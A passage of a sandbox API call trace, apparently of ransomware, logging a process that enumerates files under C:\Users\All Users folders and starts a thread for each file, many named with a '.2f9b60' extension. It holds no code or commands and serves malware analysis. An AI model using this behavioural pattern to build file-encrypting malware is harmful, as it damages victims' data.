_Source="b1c70549e5645e571401.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60" [0097.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0097.871] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="b21d939de6bf7b680c44.2f9b60", cAlternateFileName="B21D93~1.2F9")) returned 1 [0097.871] wcscmp (_String1="b21d939de6bf7b680c44.2f9b60", _String2=".") returned 1 [0097.871] wcscmp (_String1="b21d939de6bf7b680c44.2f9b60", _String2="..") returned 1 [0097.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae260 [0097.871] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.871] wcscat (in: _Dest=0x202ae260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.872] wcscat (in: _Dest=0x202ae260, _Source="b21d939de6bf7b680c44.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60" [0097.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0097.872] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="b6200d6110d74c12e612aac.2f9b60", cAlternateFileName="B6200D~1.2F9")) returned 1 [0097.872] wcscmp (_String1="b6200d6110d74c12e612aac.2f9b60", _String2=".") returned 1 [0097.872] wcscmp (_String1="b6200d6110d74c12e612aac.2f9b60", _String2="..") returned 1 [0097.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202ae2f0 [0097.873] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.873] wcscat (in: _Dest=0x202ae2f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.873] wcscat (in: _Dest=0x202ae2f0, _Source="b6200d6110d74c12e612aac.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60" [0097.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4 [0097.874] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="bba156baecd045babcc82449.2f9b60", cAlternateFileName="BBA156~1.2F9")) returned 1 [0097.874] wcscmp (_String1="bba156baecd045babcc82449.2f9b60", _String2=".") returned 1 [0097.874] wcscmp (_String1="bba156baecd045babcc82449.2f9b60", _String2="..") returned 1 [0097.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae380 [0097.874] wcscpy (in: _Dest=0x202ae380, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.874] wcscat (in: _Dest=0x202ae380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.874] wcscat (in: _Dest=0x202ae380, _Source="bba156baecd045babcc82449.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60" [0097.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0097.875] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="c2b54c7469918f78675b.2f9b60", cAlternateFileName="C2B54C~1.2F9")) returned 1 [0097.875] wcscmp (_String1="c2b54c7469918f78675b.2f9b60", _String2=".") returned 1 [0097.875] wcscmp (_String1="c2b54c7469918f78675b.2f9b60", _String2="..") returned 1 [0097.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae410 [0097.875] wcscpy (in: _Dest=0x202ae410, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.875] wcscat (in: _Dest=0x202ae410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.875] wcscat (in: _Dest=0x202ae410, _Source="c2b54c7469918f78675b.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60" [0097.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc [0097.877] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccb7a32338830bda72b9669b.2f9b60", cAlternateFileName="CCB7A3~1.2F9")) returned 1 [0097.877] wcscmp (_String1="ccb7a32338830bda72b9669b.2f9b60", _String2=".") returned 1 [0097.877] wcscmp (_String1="ccb7a32338830bda72b9669b.2f9b60", _String2="..") returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae4a0 [0097.877] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.877] wcscat (in: _Dest=0x202ae4a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.877] wcscat (in: _Dest=0x202ae4a0, _Source="ccb7a32338830bda72b9669b.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60" [0097.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0097.878] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="e73199d5de523075ba589e7dd8fa201.2f9b60", cAlternateFileName="E73199~1.2F9")) returned 1 [0097.878] wcscmp (_String1="e73199d5de523075ba589e7dd8fa201.2f9b60", _String2=".") returned 1 [0097.878] wcscmp (_String1="e73199d5de523075ba589e7dd8fa201.2f9b60", _String2="..") returned 1 [0097.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027b5f0 [0097.878] wcscpy (in: _Dest=0x2027b5f0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.878] wcscat (in: _Dest=0x2027b5f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.878] wcscat (in: _Dest=0x2027b5f0, _Source="e73199d5de523075ba589e7dd8fa201.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60" [0097.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304 [0097.879] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="e74ec42bb840964a148a07d29f5.2f9b60", cAlternateFileName="E74EC4~1.2F9")) returned 1 [0097.879] wcscmp (_String1="e74ec42bb840964a148a07d29f5.2f9b60", _String2=".") returned 1 [0097.879] wcscmp (_String1="e74ec42bb840964a148a07d29f5.2f9b60", _String2="..") returned 1 [0097.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b690 [0097.879] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.880] wcscat (in: _Dest=0x2027b690, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.880] wcscat (in: _Dest=0x2027b690, _Source="e74ec42bb840964a148a07d29f5.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60" [0097.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0097.880] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="e822cfb9bdf3dec27b96.2f9b60", cAlternateFileName="E822CF~1.2F9")) returned 1 [0097.880] wcscmp (_String1="e822cfb9bdf3dec27b96.2f9b60", _String2=".") returned 1 [0097.881] wcscmp (_String1="e822cfb9bdf3dec27b96.2f9b60", _String2="..") returned 1 [0097.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae530 [0097.881] wcscpy (in: _Dest=0x202ae530, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.881] wcscat (in: _Dest=0x202ae530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.881] wcscat (in: _Dest=0x202ae530, _Source="e822cfb9bdf3dec27b96.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60" [0097.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c [0097.881] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="e977c68e8cef4c31e34afd9f06.2f9b60", cAlternateFileName="E977C6~1.2F9")) returned 1 [0097.881] wcscmp (_String1="e977c68e8cef4c31e34afd9f06.2f9b60", _String2=".") returned 1 [0097.882] wcscmp (_String1="e977c68e8cef4c31e34afd9f06.2f9b60", _String2="..") returned 1 [0097.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae5c0 [0097.882] wcscpy (in: _Dest=0x202ae5c0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.882] wcscat (in: _Dest=0x202ae5c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.882] wcscat (in: _Dest=0x202ae5c0, _Source="e977c68e8cef4c31e34afd9f06.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60" [0097.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310 [0097.882] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="efd7ad4b114b8f99df215d.2f9b60", cAlternateFileName="EFD7AD~1.2F9")) returned 1 [0097.882] wcscmp (_String1="efd7ad4b114b8f99df215d.2f9b60", _String2=".") returned 1 [0097.882] wcscmp (_String1="efd7ad4b114b8f99df215d.2f9b60", _String2="..") returned 1 [0097.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae650 [0097.883] wcscpy (in: _Dest=0x202ae650, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.883] wcscat (in: _Dest=0x202ae650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.883] wcscat (in: _Dest=0x202ae650, _Source="efd7ad4b114b8f99df215d.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60" [0097.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0097.883] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="efd7ad4b114b8f99df215d.2f9b60", cAlternateFileName="EFD7AD~1.2F9")) returned 0 [0097.884] FindClose (in: hFindFile=0x1cd9cb50 | out: hFindFile=0x1cd9cb50) returned 1 [0097.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f7f0) returned 1 [0097.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0097.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 Thread: id = 281 os_tid = 0xd94 [0087.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f6f0 [0087.957] wcscpy (in: _Dest=0x1cd9f6f0, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0087.957] wcscat (in: _Dest=0x1cd9f6f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0087.957] wcscat (in: _Dest=0x1cd9f6f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\*") returned="C:\\Users\\All Users\\Oracle\\*" [0087.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0087.957] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cbb0 [0087.958] wcscmp (_String1=".", _String2=".") returned 0 [0087.958] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.958] wcscmp (_String1="..", _String2=".") returned 1 [0087.958] wcscmp (_String1="..", _String2="..") returned 0 [0087.958] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.958] FindClose (in: hFindFile=0x1cd9cbb0 | out: hFindFile=0x1cd9cbb0) returned 1 [0087.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0087.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f6f0) returned 1 [0087.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7fc0) returned 1 Thread: id = 282 os_tid = 0xd98 [0087.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82bf90 [0087.961] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0087.961] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0087.961] wcscat (in: _Dest=0x1b82bf90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\*") returned="C:\\Users\\All Users\\Package Cache\\*" [0087.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0087.961] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cbb0 [0087.961] wcscmp (_String1=".", _String2=".") returned 0 [0087.961] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.961] wcscmp (_String1="..", _String2=".") returned 1 [0087.961] wcscmp (_String1="..", _String2="..") returned 0 [0087.961] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0087.961] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2=".") returned 1 [0087.961] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2="..") returned 1 [0087.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7adca0 [0087.961] wcscpy (in: _Dest=0x1b7adca0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0087.961] wcscat (in: _Dest=0x1b7adca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0087.961] wcscat (in: _Dest=0x1b7adca0, _Source="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0097.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7adca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0097.521] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0097.521] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2=".") returned 1 [0097.521] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2="..") returned 1 [0097.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027b050 [0097.521] wcscpy (in: _Dest=0x2027b050, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.521] wcscat (in: _Dest=0x2027b050, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.521] 